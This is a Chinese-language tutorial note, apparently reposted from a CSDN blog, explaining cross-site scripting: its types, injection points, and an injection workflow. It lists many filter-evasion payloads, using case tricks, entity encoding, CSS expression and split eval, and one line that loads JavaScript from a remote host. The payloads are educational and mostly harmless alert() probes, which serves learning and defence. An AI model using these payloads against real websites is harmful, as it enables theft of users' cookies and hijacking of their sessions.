XSS简介

XSS跨站脚本攻击Cross Site Script(ing)    CSS (层叠样式表)
  
    XSS 所使用的攻击代码主要JavaScript
    JS能够做到的事情,就是可能受到的攻击。
    XSS攻击的是用户、浏览器、客户端
    
一、XSS   简介
       只要没有对用户的输入进行严格过滤,就会被XSS   (如:留言板..聊天室)

二、XSS漏洞危害
        盗取各种用户账号
        窃取用户Cookie资料,冒充用户身份进入网站
        劫持用户会话,执行任意操作
        刷流量,执行弹窗广告
        传播蠕虫病毒

三、漏洞的验证       
    只要浏览器弹框,就意味着JS 代码可以被执行。就可以执行其他语句.  
    <script>alert(/XSS/)</script>
    <script>alert('XSS')</script>
    <script>alert("XSS")</script>
        要想弹框,最好能让浏览器识别<script>

四、XSS漏洞的类型
       反射型XSS
            非持久性的、参数型的跨站脚本
            搜索框、用户登录等等。
        
      存储型XSS
            持久性的跨站脚本。
             恶意代码存储在数据库、其他文件等等地方。
            容易暴露攻击
         DOM 型XSS
            会更改原来文档的DOM 树
        

五、XSS的结构
        XSS攻击的是浏览器,IE/chrome/firefox
        不同的浏览器效果不一样,同一款浏览器不同版本之间效果不同
    1.利用<>构造HTML 或者JS标签
        如果用户可以随心所欲的引入 <> 等标记,那么他就能操作一个 HTML 标签,然后通过 <script> 标签就能输入任意由 JavaScript vbscript 编写的恶意脚本代码。如
           <script>alert(/xss/)</script>
            <p style="color:red">我心永恒</p>

    2.利用HTML 标签的属性值进行XSS
                 HTML 中有标签,标签中有属性,属性有属性值.    有的HTML 标签属性值,支持javascript:[code]
              很多 HTML 标记中的属性都支持 javascript :[code]】 伪协议的形式,这个特殊的协议类型声明了 URL 的主体是任意的 JavaScript 代码,由 Javascript 的解释器运行。所以,可以利用部分 HTML 标记的属性值进行 XSS 。如
<a href="javascript:alert(/xss/)">touch me!</a>
<table background="javascript:alert(/xss/)"></table>
    (03 IE)
 <img src="javascript:alert('xss')">
  
   3.产生自己的事件
            >事件就用户何时做了什么事情。处理相关事件的语句,事件响应函数
            百度HTML事件
         JavaScript HTML 之间的交互是通过事件来实现的 事件就是用户或浏览器自身执行的某个动作,   比如, Click mouseover 等,   响应事件的函数也就叫做事件处理函数
    时间能够说明用户何时做了某些事情或页面何时加载完毕
    事件划分为3个不同的类别
    --用户接口(鼠标键盘)
    --逻辑(处理的结果)
    --变化 (对文档的修改)      
<img src="./1.jpg" onmouseover="alert(/xss/)">   onmouseover   鼠标指针移动到元素上时触发
 <input type="text" onkeydown="alert(/xss/)">   onkeydown 用户按下按键时触发
    
    4.利用CSS跨站(不常见)
            >使用范围窄
              XSS 跨站脚本的另一个载体是 CSS 样式表,使用 CSS 样式表执行 JavaScript 具有隐蔽性,灵活多变等特点。
  但是 CSS 样式表有一个很大的缺点:各种浏览器之间不能通用,甚至可能同一浏览器的不同版本之间都不能通用。
        
利用 CSS 跨站
  03 IE
  【<div style=" background-image:url (
  javascript:alert (/ xss /) ) ">】
  <style>
  Body{
  background-   image:url ( javascript:alert (/ xss /))
  }
  </style>
   IE5及其以后版本支持在CSS中使用expression使用expression同意可以触发XSS漏洞
【<div style="width:expression  (alert(/ xss /))">】
CSS样式可以从其他文件甚至从不同的目标机器上进行引用
<link rel="stylesheet" href="test.css">
六、XSS的变形
     
    1.大小转换         
<img src='#' onerror="alert(/xss/)" />
<Img sRc='#' Onerror="alert(/xss/)" />

    2.引号的引用
@    无引号
        <Img sRc=# Onerror=alert(/xss/) />
@    单引号
        <Img sRc='#' Onerror='alert(/xss/)' />
@    双引号
        <Img sRc="#" Onerror="alert(/xss/)" />

    3.利用/代替空格
    
<Img/sRc='#'/Onerror='alert(/xss/)' />

    4.css中变形
@    使用全角字符
        <style>body{background-image:expression(alert(/xss/));}</style>    
 @    注释会被浏览器忽略
            <style>
            body{  background-    image:expre/***/ssion(alert(/xss/))  }
            </style>    
 @    样式表中的\ 和\0 同样会被浏览器忽略
            <style>@import 'javasc\ri\0pt:alert("xss")';</style>

    5.Tab与回车
<Img/sRc='#'/Onerror    ='alert(/xss/)' />
        <A hREf="j    avascript:alert(/xss/)">click me!</a>
        <A hREf="j
avascript:alert(/xss/)">click me!</a>

    6.对标签属性值进行转码     
a    97    &#97;    &#x61;   a转ASCII码然后转为十六进制
e    101    &#101;    &#x65;
<A hREf="j    &#97;v&#x61;script:alert(/xss/)">click me!</a>
            插入到任意位置
            Tab            &#9            
            换行        &#10            
            回车        &#13        
             插入到头部            
            &#01        SOH        标题开始信号        
            &#02        STX        开始    
<A hREf="&#01;j    &#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(/xss/)">click me!</a>

    7.拆分跨站    
<script>z='alert'</script>   <script>z=z+'(/xss/)'</script>       <script>eval(z)</script>

七、ShellCode的调用
        
            远程调用JS
             <script src=" http://ip/a.js"></script> ;
            使用 windows.location.hash
                
         
            AJAX 技术
                    利用JS 发送HTTP 请求,下载代码
                
                    
                    
                  备选存储技术
                    可以把XSS 放在本地域中,典型代表客户端的COOKIE。
        XSS 平台

ZKME                                      


一、XSS注入的流程
    先通过常用语句漏洞的验证
     <script>alert(/XSS/)</script>

     查看源代码判 断XSS的闭合、有没有过滤< >
         输入<ajest' " >  只是为了判断(提交一个特殊的字段,看返回值里能不能回显这个字段

     查看源代码 利用XSS的结构 >>
         1.利用<>或者js标签
                <script>alert(/xss/)</script>
            <p style="color:red">我心永恒</p>
         2.利用标签属性 javascript:【code】
              
         3.利用事件
           
    若结构中会受到过滤等则进行XSS的变形



猜你喜欢

转载自blog.csdn.net/xiaowhite_meng/article/details/80143936
xss